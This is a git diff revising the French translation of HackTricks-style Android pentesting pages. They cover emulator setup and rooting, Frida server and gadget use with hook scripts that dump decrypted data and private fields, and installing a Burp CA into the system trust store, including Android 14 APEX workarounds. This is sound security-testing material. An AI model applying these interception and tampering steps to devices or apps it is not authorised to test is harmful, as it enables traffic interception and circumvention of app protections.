-Donc, sĂ©lectionnez-la et si elle n'est pas tĂ©lĂ©chargĂ©e cliquez sur le symbole _**Download**_ Ă  cĂŽtĂ© du nom (**attendez maintenant que l'image soit tĂ©lĂ©chargĂ©e).**\ +Donc, sĂ©lectionnez-la et, si elle n'est pas tĂ©lĂ©chargĂ©e, cliquez sur le symbole _**Download**_ Ă  cĂŽtĂ© du nom (**attendez maintenant que l'image soit tĂ©lĂ©chargĂ©e).**\ Une fois l'image tĂ©lĂ©chargĂ©e, sĂ©lectionnez simplement **`Next`** et **`Finish`**. -La machine virtuelle sera créée. Maintenant **Ă  chaque fois que vous ouvrirez AVD Manager elle sera prĂ©sente**. +La machine virtuelle sera créée. DĂ©sormais **Ă  chaque fois que vous accĂ©derez Ă  AVD Manager elle sera prĂ©sente**. ### Lancer la machine virtuelle @@ -65,9 +65,9 @@ Pour la **lancer**, appuyez simplement sur le _**Start button**_. ## Outil en ligne de commande > [!WARNING] -> Pour macOS, vous pouvez trouver l'outil `avdmanager` dans `/Users//Library/Android/sdk/tools/bin/avdmanager` et l'`emulator` dans `/Users//Library/Android/sdk/emulator/emulator` si vous les avez installĂ©s. +> Pour macOS vous pouvez trouver l'outil `avdmanager` dans `/Users//Library/Android/sdk/tools/bin/avdmanager` et l'`emulator` dans `/Users//Library/Android/sdk/emulator/emulator` si vous les avez installĂ©s. -Tout d'abord, vous devez **dĂ©cider quel tĂ©lĂ©phone vous voulez utiliser**, pour afficher la liste des tĂ©lĂ©phones possibles exĂ©cutez: +Tout d'abord, vous devez **dĂ©cider quel tĂ©lĂ©phone vous voulez utiliser**, afin de voir la liste des tĂ©lĂ©phones possibles exĂ©cutez : ``` C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list device @@ -95,12 +95,12 @@ Name: Nexus 10 OEM : Google [...] ``` -Une fois que vous avez choisi le nom de l'appareil que vous voulez utiliser, vous devez **dĂ©terminer quelle image Android vous souhaitez exĂ©cuter sur cet appareil.**\ -Vous pouvez lister toutes les options en utilisant `sdkmanager`: +Une fois que vous avez dĂ©cidĂ© du nom de l'appareil que vous souhaitez utiliser, vous devez **choisir quelle image Android vous souhaitez exĂ©cuter sur cet appareil.**\ +Vous pouvez lister toutes les options en utilisant `sdkmanager` : ```bash C:\Users\\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat --list ``` -Et **tĂ©lĂ©chargez** celui (ou tous) que vous souhaitez utiliser avec : +Et **tĂ©lĂ©chargez** celui (ou ceux) que vous souhaitez utiliser avec : ```bash C:\Users\\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat "platforms;android-28" "system-images;android-28;google_apis;x86_64" ``` @@ -120,12 +120,12 @@ Type: Platform API level: 29 Revision: 4 ``` -À ce stade, vous avez choisi l'appareil que vous souhaitez utiliser et vous avez tĂ©lĂ©chargĂ© l'image Android, donc **vous pouvez crĂ©er la machine virtuelle en utilisant** : +À ce stade, vous avez choisi l'appareil que vous souhaitez utiliser et tĂ©lĂ©chargĂ© l'image Android, donc **vous pouvez crĂ©er la machine virtuelle en utilisant**: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat -v create avd -k "system-images;android-28;google_apis;x86_64" -n "AVD9" -d "Nexus 5X" ``` -Dans la derniĂšre commande **j'ai créé une VM nommĂ©e** "_AVD9_" en utilisant le **device** "_Nexus 5X_" et l'**image Android** "_system-images;android-28;google_apis;x86_64_".\ -Maintenant vous pouvez **lister les machines virtuelles** que vous avez créées avec : +Dans la derniĂšre commande **j'ai créé une VM nommĂ©e** "_AVD9_" en utilisant le **device** "_Nexus 5X_" et l'**Android image** "_system-images;android-28;google_apis;x86_64_".\ +Vous pouvez maintenant **lister les machines virtuelles** que vous avez créées avec : ```bash C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list avd @@ -140,10 +140,10 @@ Name: Pixel_2_API_27 Path: C:\Users\cpolo\.android\avd\Pixel_2_API_27_1.avd Error: Google pixel_2 no longer exists as a device ``` -### Lancer la machine virtuelle +### ExĂ©cuter une machine virtuelle > [!WARNING] -> Pour macOS vous pouvez trouver l'outil `avdmanager` dans `/Users//Library/Android/sdk/tools/bin/avdmanager` et l'`emulator` dans `/Users//Library/Android/sdk/emulator/emulator` si vous les avez installĂ©s. +> Sur macOS, vous pouvez trouver l'outil `avdmanager` dans `/Users//Library/Android/sdk/tools/bin/avdmanager` et l'`emulator` dans `/Users//Library/Android/sdk/emulator/emulator` si vous les avez installĂ©s. Nous avons dĂ©jĂ  vu comment lister les machines virtuelles créées, mais **vous pouvez aussi les lister en utilisant**: ```bash @@ -160,9 +160,9 @@ Ou en utilisant des options plus avancĂ©es, vous pouvez exĂ©cuter une machine vi ```bash C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system ``` -### Options de ligne de commande +### Options en ligne de commande -Cependant il existe **de nombreuses options utiles en ligne de commande** que vous pouvez utiliser pour lancer une machine virtuelle. Vous trouverez ci-dessous quelques options intĂ©ressantes mais vous pouvez [**find a complete list here**](https://developer.android.com/studio/run/emulator-commandline) +Cependant il existe **beaucoup d'options utiles en ligne de commande** que vous pouvez utiliser pour lancer une machine virtuelle. Ci‑dessous vous trouverez quelques options intĂ©ressantes mais vous pouvez [**consulter la liste complĂšte ici**](https://developer.android.com/studio/run/emulator-commandline) **DĂ©marrage** @@ -172,21 +172,21 @@ Cependant il existe **de nombreuses options utiles en ligne de commande** que vo **RĂ©seau** - `-dns-server 192.0.2.0, 192.0.2.255` : Permet d'indiquer, sĂ©parĂ©s par des virgules, les serveurs DNS pour la VM. -- **`-http-proxy 192.168.1.12:8080`** : Permet d'indiquer un proxy HTTP Ă  utiliser (trĂšs utile pour capturer le trafic avec Burp) -- Si les paramĂštres du proxy ne fonctionnent pas pour une raison quelconque, essayez de les configurer en interne ou en utilisant une application comme "Super Proxy" ou "ProxyDroid". -- `-netdelay 200` : DĂ©finit la latence rĂ©seau simulĂ©e en millisecondes. -- `-port 5556` : DĂ©finit le numĂ©ro de port TCP utilisĂ© pour la console et adb. -- `-ports 5556,5559` : DĂ©finit les ports TCP utilisĂ©s pour la console et adb. -- **`-tcpdump /path/dumpfile.cap`** : Capture tout le trafic dans un fichier +- **`-http-proxy 192.168.1.12:8080`** : Permet d'indiquer un HTTP proxy Ă  utiliser (trĂšs utile pour capturer le trafic avec Burp) +- Si les paramĂštres de proxy ne fonctionnent pas pour une raison quelconque, essayez de les configurer en interne ou d'utiliser une application comme "Super Proxy" ou "ProxyDroid". +- `-netdelay 200` : Configurer l'Ă©mulation de latence rĂ©seau en millisecondes. +- `-port 5556` : DĂ©finir le numĂ©ro de port TCP utilisĂ© pour la console et adb. +- `-ports 5556,5559` : DĂ©finir les ports TCP utilisĂ©s pour la console et adb. +- **`-tcpdump /path/dumpfile.cap`** : Capturer tout le trafic dans un fichier **SystĂšme** -- `-selinux {disabled|permissive}` : DĂ©finit le module de sĂ©curitĂ© Security-Enhanced Linux en mode disabled ou permissive sur un systĂšme Linux. -- `-timezone Europe/Paris` : DĂ©finit le fuseau horaire pour le pĂ©riphĂ©rique virtuel -- `-screen {touch(default)|multi-touch|o-touch}` : DĂ©finit le mode d'Ă©cran tactile Ă©mulĂ©. -- **`-writable-system`** : Utilisez cette option pour disposer d'une image systĂšme en Ă©criture durant votre session d'Ă©mulation. Vous devrez aussi exĂ©cuter `adb root; adb remount`. Ceci est trĂšs utile pour installer un nouveau certificat dans le systĂšme. +- `-selinux {disabled|permissive}` : DĂ©finir le module de sĂ©curitĂ© Security-Enhanced Linux en mode disabled ou permissive sur un systĂšme d'exploitation Linux. +- `-timezone Europe/Paris` : DĂ©finir le fuseau horaire pour l'appareil virtuel +- `-screen {touch(default)|multi-touch|o-touch}` : DĂ©finir le mode d'Ă©cran tactile Ă©mulĂ©. +- **`-writable-system`** : Utilisez cette option pour disposer d'une image systĂšme en Ă©criture pendant votre session d'Ă©mulation. Vous devrez aussi exĂ©cuter `adb root; adb remount`. TrĂšs utile pour installer un nouveau certificat dans le systĂšme. -## Linux CLI setup (SDK/AVD quickstart) +## Configuration CLI sous Linux (SDK/AVD dĂ©marrage rapide) Les outils CLI officiels facilitent la crĂ©ation d'Ă©mulateurs rapides et dĂ©bogables sans Android Studio. ```bash @@ -216,10 +216,10 @@ emulator -avd PixelRootX86 -writable-system -snapshot PixelRootX86_snap adb root adb shell whoami # expect: root ``` -Notes -- Variantes d'images systĂšme: google_apis (dĂ©boggable, permet `adb root`), google_apis_playstore (non rootable), aosp/default (lĂ©ger). -- Types de build: userdebug permet souvent `adb root` sur les images compatibles debug. Les images Play Store sont des builds de production et bloquent l'accĂšs root. -- Sur les hĂŽtes x86_64, l'Ă©mulation systĂšme complĂšte ARM64 n'est pas prise en charge Ă  partir de API 28+. Pour Android 11+ utilisez les images Google APIs/Play qui incluent une traduction ARM-vers-x86 par application pour exĂ©cuter rapidement de nombreuses apps rĂ©servĂ©es Ă  ARM. +Remarques +- Variantes d'images systĂšme : google_apis (dĂ©bogable, autorise `adb root`), google_apis_playstore (non rootable), aosp/default (lĂ©ger). +- Types de build : userdebug permet souvent `adb root` sur les images compatibles avec le dĂ©bogage. Les images Play Store sont des builds de production et bloquent le root. +- Sur les hĂŽtes x86_64, l'Ă©mulation systĂšme complĂšte ARM64 n'est pas prise en charge Ă  partir d'API 28+. Pour Android 11+ utilisez des images Google APIs/Play qui incluent une traduction par application ARM-to-x86 pour exĂ©cuter rapidement de nombreuses applications ARM-only. ### InstantanĂ©s depuis la CLI ```bash @@ -229,30 +229,31 @@ adb -s emulator-5554 emu avd snapshot save my_clean_setup # Boot from a named snapshot (if it exists) emulator -avd PixelRootX86 -writable-system -snapshot my_clean_setup ``` -## Traduction binaire ARM→x86 (Android 11+) +## ARM→x86 binary translation (Android 11+) -Les images Google APIs et Play Store sur Android 11+ peuvent traduire les binaires d'applications ARM par processus tout en conservant le reste du systĂšme natif x86/x86_64. C'est souvent suffisamment rapide pour tester de nombreuses applications rĂ©servĂ©es Ă  ARM sur un desktop. +Les images Google APIs et Play Store sur Android 11+ peuvent traduire les binaires d'app ARM par processus tout en conservant le reste du systĂšme natif x86/x86_64. C'est souvent assez rapide pour tester de nombreuses applications uniquement ARM sur un poste de travail. -> Astuce : PrĂ©fĂ©rez les images Google APIs x86/x86_64 pendant les pentests. Les images Play sont pratiques mais bloquent `adb root` ; ne les utilisez que lorsque vous avez spĂ©cifiquement besoin des Play services et acceptez l'absence de root. +> Astuce : PrĂ©fĂ©rez les images Google APIs x86/x86_64 lors des pentests. Les images Play sont pratiques mais bloquent `adb root` ; ne les utilisez que lorsque vous avez spĂ©cifiquement besoin de Play services et acceptez l'absence de root. -## Rooting a Play Store device +## Obtenir le root sur un appareil Play Store -Si vous avez tĂ©lĂ©chargĂ© un appareil avec Play Store, vous ne pourrez pas obtenir le root directement, et vous obtiendrez ce message d'erreur +Si vous avez tĂ©lĂ©chargĂ© un appareil avec Play Store, vous ne pourrez pas obtenir le root directement, et vous verrez ce message d'erreur ``` $ adb root adbd cannot run as root in production builds ``` -En utilisant [rootAVD](https://github.com/newbit1/rootAVD) avec [Magisk](https://github.com/topjohnwu/Magisk) j'ai pu obtenir l'accĂšs root (suivez par exemple [**this video**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **ou** [**this one**](https://www.youtube.com/watch?v=qQicUW0svB8)). +Using [rootAVD](https://github.com/newbit1/rootAVD) with [Magisk](https://github.com/topjohnwu/Magisk) I was able to root it (suivez par exemple [**this video**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **ou** [**this one**](https://www.youtube.com/watch?v=qQicUW0svB8)). ## Installer le certificat Burp Consultez la page suivante pour apprendre comment installer un certificat CA personnalisĂ© : + {{#ref}} install-burp-certificate.md {{#endref}} -## Options utiles pour l'AVD +## Options AVD utiles ### Prendre un snapshot diff --git a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md index 62b282d2f..5e4f8edb1 100644 --- a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md +++ b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md @@ -1,4 +1,4 @@ -# Frida Tutoriel +# Tutoriel Frida {{#include ../../../banners/hacktricks-training.md}} @@ -10,22 +10,22 @@ Installer **frida tools**: pip install frida-tools pip install frida ``` -**TĂ©lĂ©charger et installer** sur l'appareil Android le **frida server** ([Download the latest release](https://github.com/frida/frida/releases)).\ -Commande en une ligne pour redĂ©marrer adb en mode root, s'y connecter, transfĂ©rer frida-server, lui donner les permissions d'exĂ©cution et le lancer en arriĂšre-plan: +**TĂ©lĂ©chargez et installez** sur l'appareil Android le **frida server** ([Download the latest release](https://github.com/frida/frida/releases)).\ +Commande en une seule ligne pour redĂ©marrer adb en mode root, s'y connecter, tĂ©lĂ©verser frida-server, lui donner les permissions d'exĂ©cution et l'exĂ©cuter en arriĂšre-plan : ```bash adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local/tmp/; adb shell "chmod 755 /data/local/tmp/frida-server"; adb shell "/data/local/tmp/frida-server &" ``` -**VĂ©rifier** si cela **fonctionne**: +**VĂ©rifiez** si cela **fonctionne**: ```bash frida-ps -U #List packages and processes frida-ps -U | grep -i #Get all the package name ``` ## Frida server vs. Gadget (root vs. no-root) -Deux façons courantes d'instrumenter des applications Android avec Frida : +Deux façons courantes d'instrumenter des apps Android avec Frida : -- Frida server (rooted devices): Poussez et exĂ©cutez un daemon natif qui vous permet de vous attacher Ă  n'importe quel processus. -- Frida Gadget (no root): IntĂ©grez Frida en tant que bibliothĂšque partagĂ©e dans l'APK et chargez-la automatiquement dans le processus cible. +- Frida server (rooted devices): TransfĂ©rer et exĂ©cuter un dĂ©mon natif qui vous permet de vous attacher Ă  n'importe quel processus. +- Frida Gadget (no root): IntĂ©grer Frida en tant que bibliothĂšque partagĂ©e dans l'APK et la charger automatiquement dans le processus cible. Frida server (rooted) ```bash @@ -42,9 +42,9 @@ frida -U -n com.example.app ``` Frida Gadget (no-root) -1) DĂ©compressez l'APK, ajoutez le gadget .so et la configuration : -- Placez libfrida-gadget.so dans lib// (p. ex., lib/arm64-v8a/) -- CrĂ©ez assets/frida-gadget.config avec les paramĂštres de chargement de vos scripts +1) DĂ©compressez l'APK, ajoutez le gadget .so et la config : +- Placez libfrida-gadget.so dans lib// (e.g., lib/arm64-v8a/) +- CrĂ©ez assets/frida-gadget.config avec vos script loading settings Exemple frida-gadget.config ```json @@ -53,10 +53,10 @@ Exemple frida-gadget.config "runtime": { "logFile": "/sdcard/frida-gadget.log" } } ``` -2) RĂ©fĂ©rencer/charger le gadget afin qu'il soit initialisĂ© tĂŽt : -- Le plus simple : ajouter un petit stub Java qui appelle System.loadLibrary("frida-gadget") dans Application.onCreate(), ou utiliser le chargement natif de la bibliothĂšque dĂ©jĂ  prĂ©sent. +2) RĂ©fĂ©rencez/chargez le gadget pour qu'il soit initialisĂ© tĂŽt: +- Le plus simple : ajoutez un petit stub Java appelant System.loadLibrary("frida-gadget") dans Application.onCreate(), ou utilisez le chargement natif de librairie dĂ©jĂ  prĂ©sent. -3) Repaqueter et signer l'APK, puis l'installer : +3) RĂ©emballez et signez l'APK, puis installez: ```bash apktool d app.apk -o app_m # ... add gadget .so and config ... @@ -70,38 +70,38 @@ frida-ps -Uai frida -U -n com.example.app ``` Remarques -- Gadget est dĂ©tectĂ© par certaines protections ; gardez les noms/chemins discrets et chargez-le tardivement/de façon conditionnelle si nĂ©cessaire. -- Sur les applications durcies, privilĂ©giez les tests sur appareils rootĂ©s avec server + late attach, ou combinez avec Magisk/Zygisk hiding. +- Gadget est dĂ©tectĂ© par certaines protections ; laissez les noms/chemins discrets et chargez-le tardivement/conditionnellement si nĂ©cessaire. +- Sur les applications durcies, privilĂ©giez des tests sur appareil rootĂ© avec server + late attach, ou combinez avec le masquage Magisk/Zygisk. ## Tutoriels -### [Tutoriel 1](frida-tutorial-1.md) +### [Tutorial 1](frida-tutorial-1.md) **Source**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\ **APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\ **Code source**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo) -**Suivez le [lien pour le lire](frida-tutorial-1.md).** +**Suivez le [link to read it](frida-tutorial-1.md).** -### [Tutoriel 2](frida-tutorial-2.md) +### [Tutorial 2](frida-tutorial-2.md) -**Source**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parties 2, 3 & 4)\ -**APKs et code source**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples) +**Source**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parts 2, 3 & 4)\ +**APKs and Source code**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples) -**Suivez le [lien pour le lire.](frida-tutorial-2.md)** +**Suivez le[ link to read it.](frida-tutorial-2.md)** -### [Tutoriel 3](owaspuncrackable-1.md) +### [Tutorial 3](owaspuncrackable-1.md) **Source**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\ **APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk) -**Suivez le [lien pour le lire](owaspuncrackable-1.md).** +**Suivez le [link to read it](owaspuncrackable-1.md).** -**Vous pouvez trouver plus de scripts Awesome Frida ici:** [**https://codeshare.frida.re/**](https://codeshare.frida.re) +**Vous pouvez trouver plus d'excellents scripts Frida ici :** [**https://codeshare.frida.re/**](https://codeshare.frida.re) ## Exemples rapides -### Appeler Frida depuis la ligne de commande +### Calling Frida from command line ```bash frida-ps -U @@ -168,9 +168,9 @@ send("Activity HIT!!!") var ret = this.onCreate.overload("android.os.Bundle").call(this, var_0) } ``` -### Hooking des fonctions avec des paramĂštres et rĂ©cupĂ©ration de la valeur +### Hooking de fonctions avec paramĂštres et rĂ©cupĂ©ration de la valeur -Hooking d'une fonction de decryption. Affichez l'entrĂ©e, appelez la fonction originale pour decrypt l'entrĂ©e et enfin affichez les donnĂ©es en clair : +Hooking d'une fonction de dĂ©chiffrement. Affichez l'entrĂ©e, appelez la fonction originale pour dĂ©chiffrer l'entrĂ©e et enfin, affichez les donnĂ©es en clair: ```javascript function getString(data) { var ret = "" @@ -195,9 +195,9 @@ send("Decrypted flag: " + flag) return ret //[B } ``` -### Hooking des fonctions et les appeler avec notre entrĂ©e +### Hooking functions et les appeler avec notre input -Hook une fonction qui reçoit une string et l'appeler avec une autre string (d'aprĂšs [here](https://11x256.github.io/Frida-hooking-android-part-2/)) +Hook a function qui reçoit un string et l'appeler avec un autre string (d'aprĂšs [here](https://11x256.github.io/Frida-hooking-android-part-2/)) ```javascript var string_class = Java.use("java.lang.String") // get a JS wrapper for java's String class @@ -210,11 +210,11 @@ console.log("Return value: " + ret) return ret } ``` -### Obtenir un objet dĂ©jĂ  créé d'une classe +### RĂ©cupĂ©rer un objet dĂ©jĂ  créé d'une classe Si vous voulez extraire un attribut d'un objet dĂ©jĂ  créé, vous pouvez utiliser ceci. -Dans cet exemple, vous allez voir comment obtenir l'objet de la classe my_activity et comment appeler la fonction .secret() qui affichera un attribut privĂ© de l'objet : +Dans cet exemple, vous allez voir comment rĂ©cupĂ©rer l'objet de la classe my_activity et comment appeler la fonction .secret() qui affichera un attribut privĂ© de l'objet : ```javascript Java.choose("com.example.a11x256.frida_test.my_activity", { onMatch: function (instance) { @@ -228,13 +228,13 @@ onComplete: function () {}, ## Autres tutoriels Frida - [https://github.com/DERE-ad2001/Frida-Labs](https://github.com/DERE-ad2001/Frida-Labs) -- [Part 1 of Advanced Frida Usage blog series: IOS Encryption Libraries](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/) +- [Partie 1 de la sĂ©rie de blogs "Advanced Frida Usage" : bibliothĂšques de chiffrement iOS](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/) ## RĂ©fĂ©rences -- [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools) -- [Frida Gadget documentation](https://frida.re/docs/gadget/) -- [Frida releases (server binaries)](https://github.com/frida/frida/releases) +- [Construire un laboratoire Android Bug Bounty reproductible : Emulator vs Magisk, Burp, Frida, et Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools) +- [Documentation de Frida Gadget](https://frida.re/docs/gadget/) +- [Frida releases (binaires serveur)](https://github.com/frida/frida/releases) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md b/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md index 7e93ff45d..7343c4422 100644 --- a/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md +++ b/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md @@ -3,9 +3,9 @@ {{#include ../../banners/hacktricks-training.md}} -## Proxy systĂšme via ADB +## Proxy global via ADB -Configurez un proxy HTTP global afin que toutes les applications acheminent le trafic via votre intercepteur (Burp/mitmproxy) : +Configurez un proxy HTTP global pour que toutes les applications routent leur trafic via votre interceptor (Burp/mitmproxy) : ```bash # Set proxy (device/emulator must reach your host IP) adb shell settings put global http_proxy 192.168.1.2:8080 @@ -13,7 +13,7 @@ adb shell settings put global http_proxy 192.168.1.2:8080 # Clear proxy adb shell settings put global http_proxy :0 ``` -Astuce : Dans Burp, liez votre listener Ă  0.0.0.0 afin que les appareils sur le LAN puissent se connecter (Proxy -> Options -> Proxy Listeners). +Astuce : dans Burp, liez votre listener Ă  0.0.0.0 afin que les appareils du LAN puissent se connecter (Proxy -> Options -> Proxy Listeners). ## Sur une machine virtuelle @@ -21,7 +21,7 @@ Tout d'abord, vous devez tĂ©lĂ©charger le certificat Der depuis Burp. Vous pouve ![](<../../images/image (367).png>) -**Exportez le certificat au format Der** et transformons-le pour obtenir une forme que **Android** pourra **comprendre.** Notez que **pour configurer le certificat Burp sur la machine Android dans AVD** vous devez **exĂ©cuter** cette machine **avec** l'option **`-writable-system`**.\ +**Exportez le certificat au format Der** et **transformons** le en un format que **Android** pourra **comprendre.** Notez que **pour configurer le certificat burp sur la machine Android dans AVD** vous devez **exĂ©cuter** cette machine **avec** l'option **`-writable-system`**.\ Par exemple vous pouvez l'exĂ©cuter comme : ```bash C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system @@ -37,43 +37,43 @@ adb shell mv /sdcard/$CERTHASHNAME /system/etc/security/cacerts/ #Move to correc adb shell chmod 644 /system/etc/security/cacerts/$CERTHASHNAME #Assign privileges adb reboot #Now, reboot the machine ``` -Une fois que la machine a terminĂ© le redĂ©marrage, le certificat Burp sera utilisĂ© par celle-ci ! +Once the **machine finish rebooting** the burp certificate will be in use by it! -## Using Magisc +## Utiliser Magisc -Si vous avez **rootĂ© votre appareil avec Magisc** (peut‑ĂȘtre un Ă©mulateur), et que vous **ne pouvez pas suivre** les **Ă©tapes** prĂ©cĂ©dentes pour installer le certificat Burp parce que le **systĂšme de fichiers est en lecture seule** et que vous ne pouvez pas le remonter en Ă©criture, il existe une autre mĂ©thode. +Si vous **avez rootĂ© votre appareil avec Magisc** (par exemple un Ă©mulateur), et que vous **ne pouvez pas suivre** les **Ă©tapes** prĂ©cĂ©dentes pour installer le certificat Burp parce que le **systĂšme de fichiers est en lecture seule** et que vous ne pouvez pas le remonter en Ă©criture, il existe une autre mĂ©thode. -ExpliquĂ© dans [**cette vidĂ©o**](https://www.youtube.com/watch?v=qQicUW0svB8) vous devez : +ExpliquĂ© dans [**this video**](https://www.youtube.com/watch?v=qQicUW0svB8) vous devez : -1. **Installer un certificat CA** : Il suffit de **drag&drop** le certificat Burp au format DER en **changeant l’extension** en `.crt` sur le mobile pour qu’il soit stockĂ© dans le dossier Downloads et aller Ă  `Install a certificate` -> `CA certificate` +1. **Installer un certificat CA** : Il suffit de **glisser-dĂ©poser** le certificat Burp en DER en **changeant l’extension** en `.crt` sur le mobile pour qu’il soit stockĂ© dans le dossier Downloads, puis aller dans `Install a certificate` -> `CA certificate`
-- Vérifiez que le certificat a été correctement stocké en allant dans `Trusted credentials` -> `USER` +- Vérifiez que le certificat a été correctement enregistré en allant dans `Trusted credentials` -> `USER`
-2. **Le rendre approuvĂ© par le systĂšme** : TĂ©lĂ©chargez le module Magisc [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (un fichier .zip), **drag&drop** le sur le tĂ©lĂ©phone, allez dans l’app Magics du tĂ©lĂ©phone Ă  la section **`Modules`**, cliquez sur **`Install from storage`**, sĂ©lectionnez le module `.zip` et une fois installĂ© **redĂ©marrez** le tĂ©lĂ©phone : +2. **Le rendre approuvĂ© par le systĂšme** : TĂ©lĂ©chargez le module Magisc [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (un fichier .zip), **glissez-le** dans le tĂ©lĂ©phone, ouvrez l’application **Magics** sur le tĂ©lĂ©phone dans la section **`Modules`**, cliquez sur **`Install from storage`**, sĂ©lectionnez le module `.zip` et une fois installĂ© **redĂ©marrez** le tĂ©lĂ©phone :
-- AprĂšs le redĂ©marrage, allez dans `Trusted credentials` -> `SYSTEM` et vĂ©rifiez que le certificat Postswigger est prĂ©sent +- AprĂšs le redĂ©marrage, allez dans `Trusted credentials` -> `SYSTEM` et vĂ©rifiez que le certificat Postswigger s’y trouve
-### Learn how to create a Magisc module +### Apprendre Ă  crĂ©er un module Magisc Consultez [https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437](https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437) ## Post Android 14 -Dans la derniĂšre release d’Android 14, un changement important a Ă©tĂ© observĂ© dans la gestion des certificats d’autoritĂ© (CA) approuvĂ©s par le systĂšme. Auparavant, ces certificats Ă©taient stockĂ©s dans **`/system/etc/security/cacerts/`**, accessibles et modifiables par les utilisateurs avec les privilĂšges root, ce qui permettait une application immĂ©diate sur l’ensemble du systĂšme. Cependant, avec Android 14, l’emplacement de stockage a Ă©tĂ© dĂ©placĂ© vers **`/apex/com.android.conscrypt/cacerts`**, un rĂ©pertoire situĂ© dans le chemin **`/apex`**, qui est immuable par nature. +Dans la derniĂšre version Android 14, un changement important a Ă©tĂ© observĂ© dans la gestion des certificats d’autoritĂ© (CA) approuvĂ©s par le systĂšme. Auparavant, ces certificats Ă©taient stockĂ©s dans **`/system/etc/security/cacerts/`**, accessibles et modifiables par les utilisateurs disposant des privilĂšges root, ce qui permettait leur application immĂ©diate Ă  l’échelle du systĂšme. Cependant, avec Android 14, l’emplacement de stockage a Ă©tĂ© dĂ©placĂ© vers **`/apex/com.android.conscrypt/cacerts`**, un rĂ©pertoire au sein du chemin **`/apex`**, qui est immuable par nature. -Les tentatives de remonter le **APEX cacerts path** en Ă©criture Ă©chouent, car le systĂšme n’autorise pas ce type d’opĂ©ration. MĂȘme les tentatives de dĂ©montage ou de superposition du rĂ©pertoire avec un systĂšme de fichiers temporaire (tmpfs) ne contournent pas l’immuabilitĂ© ; les applications continuent d’accĂ©der aux donnĂ©es de certificats d’origine quelles que soient les modifications au niveau du systĂšme de fichiers. Cette rĂ©silience est due au fait que le montage de **`/apex`** est configurĂ© avec une PRIVATE propagation, ce qui garantit que toute modification au sein du rĂ©pertoire **`/apex`** n’affecte pas les autres processus. +Les tentatives de remonter le **chemin APEX cacerts** en Ă©criture Ă©chouent, car le systĂšme n’autorise pas ce type d’opĂ©ration. MĂȘme les tentatives de dĂ©monter ou de superposer le rĂ©pertoire avec un systĂšme de fichiers temporaire (tmpfs) ne contournent pas l’immuabilitĂ© ; les applications continuent d’accĂ©der aux donnĂ©es de certificats d’origine indĂ©pendamment des modifications au niveau du systĂšme de fichiers. Cette rĂ©silience est due au fait que le montage **`/apex`** est configurĂ© avec une propagation PRIVATE, assurant que toute modification au sein du rĂ©pertoire **`/apex`** n’affecte pas les autres processus. -L’initialisation d’Android implique le processus `init` qui, au dĂ©marrage du systĂšme d’exploitation, lance Ă©galement le processus Zygote. Ce dernier est responsable du lancement des processus d’application avec un nouveau mount namespace qui inclut un montage privĂ© **`/apex`**, isolant ainsi les modifications de ce rĂ©pertoire des autres processus. +L’initialisation d’Android implique le processus `init`, qui, au dĂ©marrage du systĂšme d’exploitation, lance Ă©galement le processus Zygote. Ce processus est responsable du lancement des processus d’application avec un nouveau namespace de montage qui inclut un montage privĂ© **`/apex`**, isolant ainsi les modifications de ce rĂ©pertoire des autres processus. -NĂ©anmoins, il existe un contournement pour ceux qui doivent modifier les certificats CA approuvĂ©s par le systĂšme dans le rĂ©pertoire **`/apex`**. Il consiste Ă  remonter manuellement **`/apex`** pour retirer la PRIVATE propagation, rendant ainsi le rĂ©pertoire modifiable. Le processus inclut la copie du contenu de **`/apex/com.android.conscrypt`** vers un autre emplacement, le dĂ©montage du rĂ©pertoire **`/apex/com.android.conscrypt`** pour Ă©liminer la contrainte en lecture seule, puis la restauration du contenu Ă  son emplacement d’origine dans **`/apex`**. Cette approche nĂ©cessite une 